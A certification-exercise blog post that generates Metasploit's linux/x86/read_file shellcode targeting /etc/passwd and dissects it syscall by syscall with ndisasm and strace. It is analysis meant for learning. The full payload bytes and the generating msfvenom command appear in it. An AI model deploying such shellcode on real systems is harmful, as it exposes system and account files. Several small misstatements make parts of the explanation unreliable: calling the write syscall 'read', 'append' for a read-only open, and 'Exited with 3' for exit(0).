This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification.
http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE-1017

Challenge

  • Take up at least 3 shellcode samples created using Msfpayload for linux/x86
  • Use GDB/Ndisasm/Libemu to dissect the funcSonality of the shellcode
  • Present your analysis

Generate payload using msfvenom

We have checked the payload parameters.

> msfvenom -p linux/x86/read_file --payload-options
Options for payload/linux/x86/read_file:
 
 
       Name: Linux Read File
     Module: payload/linux/x86/read_file
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 62
       Rank: Normal
 
Provided by:
    hal
 
Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH                   yes       The file path to read
 
Description:
  Read up to 4096 bytes from the local file system and write it back
  out to the specified file descriptor

We generated the payload using msfvenom with CWD options.

> msfvenom -p linux/x86/read_file PATH=/etc/passwd -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] =
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";

We analyses the shellcode using ndisasm.

> msfvenom -p linux/x86/read_file PATH=/etc/passwd | ndisasm -u - 
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No Arch selected, selecting Arch: x86 from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 73 bytes
 
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

Program flow

We identified it is JMP-CALL-POP in the shellcode.

00000000  EB36              jmp short 0x38
[...]
00000007  5B                pop ebx
[...]
00000038  E8C5FFFFFF        call dword 0x2
[/etc/passwd]

We quickly identified there are 3 syscall at 4 locations as shown below. We will review it one by one.

0x0804a047 <+7>:  int $0x80
0x0804a063 <+35>: int $0x80
0x0804a099 <+89>: int $0x80
0x0804a09e <+94>: int $0x80

Syscall 1: open

By reviewing the assembly code, we understand it is open syscall and try to read the file /etc/passwd with flag = 0 (O_RDONLY)

  • EAX = 0x5 (open)
  • EBX = point to /etc/passwd (Pointer to pathname)
  • ECX = 0 (flags = 0)
  • syscall: int open(const char *pathname, int flags, mode_t mode)
  • strace: open("/etc/passwd", O_RDONLY) = 3
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80

Syscall 2: read

By reviewing the assembly code, we understand it is read syscall and attempts to read up to 4096 bytes from file descriptor fd (/etc/passwd) into the buffer starting at buf ($esp).

  • EAX = 0x3 (read)
  • EBX = fd of /etc/passwd
  • ECX = $esp
  • EDX = 0x1000 (4096)
  • syscall: ssize_t read(int fd, void *buf, size_t count);
  • strace: read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 2358
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80

Syscall 3: Write

By reviewing the assembly code, we understand it is write syscall and attempts to writes up to count bytes from the buffer pointed buf to the file descriptor 1 (Stdout).

  • EAX = syscall no. (0x4=read)
  • EBX = fd (0x1=stdout)
  • ECX = *buf ($esp=/etc/passwd content)
  • EDX = count (2358=no. of character being read in previous syscall)
  • syscall: ssize_t write(int fd, const void *buf, size_t count);
  • strace: write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 2358)=2358
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80

Syscall 4: exit

By reviewing the assembly code, we understand it is exit syscall and attempts to terminate the calling process with status code 0.

  • EAX = syscall no. (0x1=exit)
  • EBX = exit code (0)
  • syscall: void _exit(int status);
  • strace: exit(0)
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80

Summary

  1. open("/etc/passwd", O_RDONLY) = 3
    Open file and append to it.
  2. read(3, "root:x:0:0:root:/root:/bin/bash\n"..., 4096) = 2358
    Read file content to buffer
  3. write(1, "root:x:0:0:root:/root:/bin/bash\n"..., 2358)=2358
    Write buffer content to stdout
  4. exit(0)
    Exited with 3